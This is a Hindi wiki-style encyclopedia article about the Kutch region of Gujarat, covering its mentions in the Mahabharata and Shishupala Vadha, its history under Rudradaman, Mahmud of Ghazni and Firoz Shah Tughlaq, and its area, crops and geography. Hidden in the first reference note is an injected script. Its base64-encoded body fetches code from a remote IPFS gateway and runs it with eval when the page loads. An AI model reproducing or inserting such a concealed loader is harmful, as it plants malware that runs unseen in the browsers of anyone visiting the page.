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'''कच्छ''' पश्चिमी [[गुजरात]] का एक भौगोलिक स्थल है, जिसका वर्णन '[[महाभारत]]' एवं '[[पाणिनी]]' की '[[अष्टाध्यायी]]' में मिलता है। यह प्रदेश [[वर्ष]] [[1947]] ई. के पहले पश्चिमी भारतीय राज्य संघ का एक छोटा-सा [[राज्य]] था। यह अब नवनिर्मित महा गुजरात राज्य का एक अंग है।
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'शिशुपाल वध काव्य' में भी कच्छ का वर्णन हैं। यहाँ [[महाभारत]] के नायक [[श्रीकृष्ण]] के सैनिकों का लवंग पुष्पों की माला से विभूषित होने, [[नारियल]] का पानी पीने और कच्ची सुपारियाँ खाने का लालित्यपूर्ण वर्णन है। [[शक]] शासक [[रुद्रदामन]] (दूसरी [[शताब्दी]] ई.) के राज्य में कच्छ भी शामिल था। [[मुस्लिम]] आक्रांता [[महमूद ग़ज़नवी]] ने जिन स्थानों पर आक्रमण किया था, उनमें कच्छ भी एक था। [[मध्य काल]] में [[फ़िरोज़शाह तुग़लक़|सुल्तान फ़िरोज़शाह तुग़लक़]] ने जब 1361-62 ई. में [[सिंध]] पर आक्रमण किया तो वह '[[कच्छ के रण]]' में फँस गया था।
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कच्छ का उल्लेख [[महाभारत]] में भी है। यह [[कच्छ की खाड़ी]] का तटवर्ती प्रदेश है, जिसका दूसरा नाम अनूप भी था। 'शिशुपाल वध काव्य' 3,80 में भी कच्छ भूमि का उल्लेख है<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=125|url=}}</ref>-
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<blockquote>'''आसेदिरे लावणसैंधवीनां चमूचरै कच्छ भुवां प्रदेश:।</blockquote>
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आगे 3,81 में यहाँ [[कृष्ण|श्रीकृष्ण]] के सैनिकों का लवंग पुष्पों की माला से विभूषित होने, [[नारियल]] का पानी पीने और कच्ची सुपारियाँ खाने का लालित्यपूर्ण वर्णन है-
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08:34, 23 मई 2018 का अवतरण

काला डूंगर का एक दृश्य, कच्छ, गुजरात

कच्छ पश्चिमी गुजरात का एक भौगोलिक स्थल है, जिसका वर्णन 'महाभारत' एवं 'पाणिनी' की 'अष्टाध्यायी' में मिलता है। यह प्रदेश वर्ष 1947 ई. के पहले पश्चिमी भारतीय राज्य संघ का एक छोटा-सा राज्य था। यह अब नवनिर्मित महा गुजरात राज्य का एक अंग है।

इतिहास

कच्छ का उल्लेख महाभारत में भी है। यह कच्छ की खाड़ी का तटवर्ती प्रदेश है, जिसका दूसरा नाम अनूप भी था। 'शिशुपाल वध काव्य' 3,80 में भी कच्छ भूमि का उल्लेख है[1]-

आसेदिरे लावणसैंधवीनां चमूचरै कच्छ भुवां प्रदेश:।

आगे 3,81 में यहाँ श्रीकृष्ण के सैनिकों का लवंग पुष्पों की माला से विभूषित होने, नारियल का पानी पीने और कच्ची सुपारियाँ खाने का लालित्यपूर्ण वर्णन है-

लवंगमालाकलितावतंसास्ते नारिकेलांतरप: पिवंत:, आस्वादितार्द्रक्रमुका: समुद्रादभ्यागतस्य प्रतिपत्तिमीयु:।

शक शासक रुद्रदामन (दूसरी शताब्दी ई.) के राज्य में कच्छ भी शामिल था। मुस्लिम आक्रांता महमूद ग़ज़नवी ने जिन स्थानों पर आक्रमण किया था, उनमें कच्छ भी एक था। मध्य काल में सुल्तान फ़िरोज़शाह तुग़लक़ ने जब 1361-62 ई. में सिंध पर आक्रमण किया तो वह 'कच्छ के रण' में फँस गया था।

क्षेत्रफल

कच्छ जीवाश्म पार्क

कच्छ प्रदेश 1947 ई. के पहले पश्चिमी भारतीय राज्य संघ का एक छोटा-सा राज्य था। यह अब नवनिर्मित गुजरात राज्य का एक अंग है। इसका क्षेत्रफल 16,724 वर्ग मील है। इसके पूर्व एवं उत्तर में 'कच्छ की खाड़ी' एवं पश्चिम में अरब सागर है। कच्छ प्रदेश का अधिकांश भाग पहाड़ी एवं जंगली है। संपूर्ण प्रदेश ज्वालामुखी भूचाल के प्रभाव में है।

कृषि

यहाँ की मुख फ़सलें गेहूँ, जौ, ज्वार, दाल एवं कपास हैं।

भौगोलिक स्थिति

इस प्रदेश में पानी की कमी, वर्षा की अनिश्चितता एवं भूकंप की बहुलता के कारण अकाल अधिक पड़ते हैं। गर्मी के दिनों में यहाँ का तापमान काफ़ी अधिक तक हो जाता है। छोटी-छोटी पहाड़ी नदियाँ भी हैं, जो वर्षा के अतिरिक्त अन्य मौसमों में सूखी रहती हैं। उपर्युक्त भौतिक कठिनाइयों के कारण यहाँ की आबादी कम है।[2]


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 125 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. कच्छ (हिन्दी)। । अभिगमन तिथि: 22 फ़रवरी, 2014।

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